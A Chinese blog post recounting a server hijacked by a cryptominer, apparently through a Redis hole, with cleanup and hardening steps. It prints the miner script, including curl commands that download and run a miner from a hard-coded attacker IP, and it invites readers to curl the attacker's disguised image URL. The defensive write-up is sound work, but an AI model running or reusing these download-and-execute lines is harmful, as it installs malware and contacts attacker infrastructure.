來(lái)源:我叫劉半仙 發(fā)布時(shí)間:2018-09-18 16:01:36 閱讀量:1096
線(xiàn)上服務(wù)器用的是某訊云的,歡快的完美運(yùn)行著Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一則噩耗從前線(xiàn)傳來(lái):網(wǎng)站不能訪(fǎng)問(wèn)了。
此項(xiàng)目是我負(fù)責(zé),我以150+的手速立即打開(kāi)了服務(wù)器,看到Tomcat掛了,然后順其自然的重啟,啟動(dòng)過(guò)程中直接被killed,再試試數(shù)據(jù)庫(kù),同樣沒(méi)成功,多次嘗試甚至重啟機(jī)器無(wú)果。機(jī)制的我打了個(gè)top,出現(xiàn)以下內(nèi)容:
這是誰(shuí)運(yùn)行的程序?不管三七二十一先殺掉再說(shuō),因?yàn)樗褪荰omcat等程序啟動(dòng)不了的元兇。然而并沒(méi)有什么卵用,過(guò)一會(huì)再看那個(gè)東西又跑出來(lái)占cpu。懷疑是個(gè)定時(shí)任務(wù):
什么鬼,是個(gè)圖片?立即訪(fǎng)問(wèn)了一下:
好尷尬,但是心思細(xì)膩的我早知道沒(méi)這么簡(jiǎn)單,肯定只是偽裝,crul過(guò)去是下面的腳本,過(guò)程就是在挖礦:
#!/bin/shpkill -9 142.4.124.164 pkill -9 192.99.56.117 pkill -9 jva pkill -f ./atd pkill -f /tmp/wa/httpd.conf pkill -f 108.61.186.224 pkill -f 128.199.86.57 pkill -f 67.231.243.10 pkill -f 142.4.124.164 pkill -f 192.99.56.117 pkill -f 45.76.102.45 pkill -f AnXqV.yam pkill -f BI5zj pkill -f Carbon pkill -f Duck.sh pkill -f Guard.sh ...中間省略 /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &fips -fe|grep -w suppoie |grep -v grepif [ $? -eq 0 ]thenpwdelsecurl -o /var/tmp/config.json http://192.99.142.235:8220/1.json curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1 chmod 777 /var/tmp/suppoiecd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & sleep 3fiif [ $? -eq 0 ]thenpwdelsecurl -o /var/tmp/config.json http://192.99.142.235:8220/1.json curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2 chmod 777 /var/tmp/suppoiecd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &fiecho "runing....."
有興趣的同學(xué)想查看以上完整源代碼,命令行運(yùn)行下面指令(不分操作系統(tǒng),方便安全無(wú)污染):
curl 192.99.142.235:8220/logo3.jpg
既然知道它是個(gè)定時(shí)任務(wù),那就先取消了它,并且看看它是誰(shuí)在運(yùn)行:
殺掉,找到存放目錄:
進(jìn)入臨時(shí)目錄:
被我發(fā)現(xiàn)配置文件了,先來(lái)看看內(nèi)容:
虎軀一震,發(fā)現(xiàn)了不少信息啊,user是他的server的登錄用戶(hù),下面是密碼,只可惜加密過(guò),應(yīng)該找不到對(duì)方。算了,大度的我先不和你計(jì)較。干掉這兩個(gè)文件后再查看top:
解決辦法
找到寄生的目錄,一般都會(huì)在tmp里,我這個(gè)是在/var/tmp/。首先把crontab干掉,殺掉進(jìn)程,再刪除產(chǎn)生的文件。啟動(dòng)Tomcat等程序,大功告成!
等等,這遠(yuǎn)遠(yuǎn)不夠,考慮到能被拿去挖礦的前提下你的服務(wù)器都已經(jīng)被黑客入侵了,修復(fù)漏洞才對(duì),不然你殺掉進(jìn)程刪掉文件后,黑客后門(mén)進(jìn)來(lái)history一敲,都知道你做了啥修復(fù)手段。
所以上面辦法治標(biāo)不治本,我后續(xù)做了以下工作:
1.把所有軟件升級(jí)到新版本,修復(fù) redis 的后門(mén),配置bind選項(xiàng), 限定可以連接Redis服務(wù)器的IP。配置AUTH, 設(shè)置密碼。
2.修改所有軟件默認(rèn)端口號(hào)
3.打開(kāi)ssh/authorized_keys, 刪除不認(rèn)識(shí)的密鑰
4.刪除用戶(hù)列表中陌生的帳號(hào)
5.封了他的ip
6.SSH使用密鑰登錄并禁止口令登錄(這個(gè)一般是加運(yùn)維一個(gè)人的秘鑰)
木馬原因,估計(jì)是redis漏洞導(dǎo)致:
http://blog.jobbole.com/94518/
最好的方式:將主機(jī)鏡像,找出病毒木馬,分析入侵原因。檢查業(yè)務(wù)程序,重裝系統(tǒng),修復(fù)漏洞,再重新部署系統(tǒng)。
寫(xiě)在最后,網(wǎng)友提供的一勞永逸終極解決辦法:
把你自己的挖礦腳本掛上去運(yùn)行,這樣別人就算掛腳本也跑不起來(lái)了。
在線(xiàn)
客服
服務(wù)時(shí)間:周一至周日 08:30-18:00
選擇下列產(chǎn)品馬上在線(xiàn)溝通:
客服
熱線(xiàn)
7*24小時(shí)客服服務(wù)熱線(xiàn)
關(guān)注
微信
關(guān)注官方微信